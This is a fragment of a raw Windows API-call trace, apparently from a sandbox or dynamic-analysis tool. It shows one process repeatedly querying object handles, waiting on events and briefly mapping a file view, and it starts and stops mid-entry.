WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.553] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.553] NtQueryObject (in: Handle=0x1b0, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.553] ResetEvent (hEvent=0x110) returned 1 [0259.553] SetEvent (hEvent=0x114) returned 1 [0259.553] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.554] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.554] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.554] NtQueryObject (in: Handle=0x1b0, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.554] ResetEvent (hEvent=0x110) returned 1 [0259.554] SetEvent (hEvent=0x114) returned 1 [0259.554] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.554] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.554] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.554] NtQueryObject (in: Handle=0x1b0, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.554] ResetEvent (hEvent=0x110) returned 1 [0259.554] SetEvent (hEvent=0x114) returned 1 [0259.554] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.554] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.554] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.554] NtQueryObject (in: Handle=0x1b0, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.554] ResetEvent (hEvent=0x110) returned 1 [0259.554] SetEvent (hEvent=0x114) returned 1 [0259.554] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.555] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.555] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.555] NtQueryObject (in: Handle=0x1b0, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.555] ResetEvent (hEvent=0x110) returned 1 [0259.555] SetEvent (hEvent=0x114) returned 1 [0259.555] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.555] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.555] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.555] NtQueryObject (in: Handle=0x1b0, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.555] ResetEvent (hEvent=0x110) returned 1 [0259.555] SetEvent (hEvent=0x114) returned 1 [0259.555] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.555] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.555] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.555] NtQueryObject (in: Handle=0x1b0, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.555] ResetEvent (hEvent=0x110) returned 1 [0259.555] SetEvent (hEvent=0x114) returned 1 [0259.555] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.556] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.556] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.556] NtQueryObject (in: Handle=0x1b0, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.556] ResetEvent (hEvent=0x110) returned 1 [0259.556] SetEvent (hEvent=0x114) returned 1 [0259.556] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.556] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.556] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.556] NtQueryObject (in: Handle=0x1b0, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.556] GetFileType (hFile=0x1b0) returned 0x3 [0259.556] ResetEvent (hEvent=0x110) returned 1 [0259.556] SetEvent (hEvent=0x114) returned 1 [0259.556] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.556] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.556] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.556] NtQueryObject (in: Handle=0x1b0, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.556] GetFileType (hFile=0x1b0) returned 0x3 [0259.556] ResetEvent (hEvent=0x110) returned 1 [0259.556] SetEvent (hEvent=0x114) returned 1 [0259.557] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.557] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.557] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.557] NtQueryObject (in: Handle=0x1b0, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.557] GetFileType (hFile=0x1b0) returned 0x3 [0259.557] ResetEvent (hEvent=0x110) returned 1 [0259.557] SetEvent (hEvent=0x114) returned 1 [0259.557] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.557] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.557] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.557] NtQueryObject (in: Handle=0x1b0, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.557] ResetEvent (hEvent=0x110) returned 1 [0259.557] SetEvent (hEvent=0x114) returned 1 [0259.557] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.557] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.557] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.557] NtQueryObject (in: Handle=0x1b0, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.557] ResetEvent (hEvent=0x110) returned 1 [0259.557] SetEvent (hEvent=0x114) returned 1 [0259.558] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.558] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.558] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.558] NtQueryObject (in: Handle=0x1b0, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.558] ResetEvent (hEvent=0x110) returned 1 [0259.558] SetEvent (hEvent=0x114) returned 1 [0259.558] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.558] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.558] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.558] NtQueryObject (in: Handle=0x1b0, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.558] GetFileType (hFile=0x1b0) returned 0x3 [0259.558] ResetEvent (hEvent=0x110) returned 1 [0259.558] SetEvent (hEvent=0x114) returned 1 [0259.558] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.558] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.558] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.558] NtQueryObject (in: Handle=0x1b0, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.558] GetFileType (hFile=0x1b0) returned 0x3 [0259.558] ResetEvent (hEvent=0x110) returned 1 [0259.559] SetEvent (hEvent=0x114) returned 1 [0259.559] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.559] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.559] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.559] NtQueryObject (in: Handle=0x1b0, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.559] ResetEvent (hEvent=0x110) returned 1 [0259.559] SetEvent (hEvent=0x114) returned 1 [0259.559] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.559] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.559] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.559] NtQueryObject (in: Handle=0x1b0, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.559] ResetEvent (hEvent=0x110) returned 1 [0259.559] SetEvent (hEvent=0x114) returned 1 [0259.559] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.559] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.560] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.560] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.560] ResetEvent (hEvent=0x110) returned 1 [0259.560] SetEvent (hEvent=0x114) returned 1 [0259.560] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.560] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.560] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.560] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.560] ResetEvent (hEvent=0x110) returned 1 [0259.560] SetEvent (hEvent=0x114) returned 1 [0259.560] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.560] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.560] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.560] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.560] ResetEvent (hEvent=0x110) returned 1 [0259.560] SetEvent (hEvent=0x114) returned 1 [0259.560] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.560] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.561] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.561] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.561] ResetEvent (hEvent=0x110) returned 1 [0259.561] SetEvent (hEvent=0x114) returned 1 [0259.561] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.561] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.561] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.561] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.561] ResetEvent (hEvent=0x110) returned 1 [0259.561] SetEvent (hEvent=0x114) returned 1 [0259.561] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.561] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.561] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.561] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.561] ResetEvent (hEvent=0x110) returned 1 [0259.561] SetEvent (hEvent=0x114) returned 1 [0259.561] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.561] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.562] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.562] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.562] ResetEvent (hEvent=0x110) returned 1 [0259.562] SetEvent (hEvent=0x114) returned 1 [0259.562] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.562] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.562] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.562] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.562] MapViewOfFile (hFileMappingObject=0x1bc, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x3e0000 [0259.562] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x3e0000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x8f0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x8f0048, ResultLength=0x0) returned 0xc0000098 [0259.562] UnmapViewOfFile (lpBaseAddress=0x3e0000) returned 1 [0259.562] ResetEvent (hEvent=0x110) returned 1 [0259.562] SetEvent (hEvent=0x114) returned 1 [0259.562] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.562] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.562] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.562] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.562] ResetEvent (hEvent=0x110) returned 1 [0259.563] SetEvent (hEvent=0x114) returned 1 [0259.563] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.563] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.563] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.563] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.563] ResetEvent (hEvent=0x110) returned 1 [0259.563] SetEvent (hEvent=0x114) returned 1 [0259.563] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.563] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.563] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.563] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.563] ResetEvent (hEvent=0x110) returned 1 [0259.563] SetEvent (hEvent=0x114) returned 1 [0259.563] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.563] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.563] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.563] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.563] ResetEvent (hEvent=0x110) returned 1 [0259.564] SetEvent (hEvent=0x114) returned 1 [0259.564] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.564] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.564] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.564] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.564] ResetEvent (hEvent=0x110) returned 1 [0259.564] SetEvent (hEvent=0x114) returned 1 [0259.564] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.564] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.564] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.564] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.564] ResetEvent (hEvent=0x110) returned 1 [0259.564] SetEvent (hEvent=0x114) returned 1 [0259.564] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.564] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.564] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.564] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.564] ResetEvent (hEvent=0x110) returned 1 [0259.564] SetEvent (hEvent=0x114) returned 1 [0259.565] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.565] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.565] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.565] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.565] ResetEvent (hEvent=0x110) returned 1 [0259.565] SetEvent (hEvent=0x114) returned 1 [0259.565] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.565] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.565] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.565] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.565] ResetEvent (hEvent=0x110) returned 1 [0259.565] SetEvent (hEvent=0x114) returned 1 [0259.565] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.565] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.565] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.565] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.566] ResetEvent (hEvent=0x110) returned 1 [0259.566] SetEvent (hEvent=0x114) returned 1 [0259.566] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.566] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.566] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.566] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.566] ResetEvent (hEvent=0x110) returned 1 [0259.566] SetEvent (hEvent=0x114) returned 1 [0259.566] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.566] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.566] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.566] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.566] ResetEvent (hEvent=0x110) returned 1 [0259.566] SetEvent (hEvent=0x114) returned 1 [0259.566] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.566] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.566] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.567] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.567] ResetEvent (hEvent=0x110) returned 1 [0259.567] SetEvent (hEvent=0x114) returned 1 [0259.567] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.567] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.567] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.567] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.567] ResetEvent (hEvent=0x110) returned 1 [0259.567] SetEvent 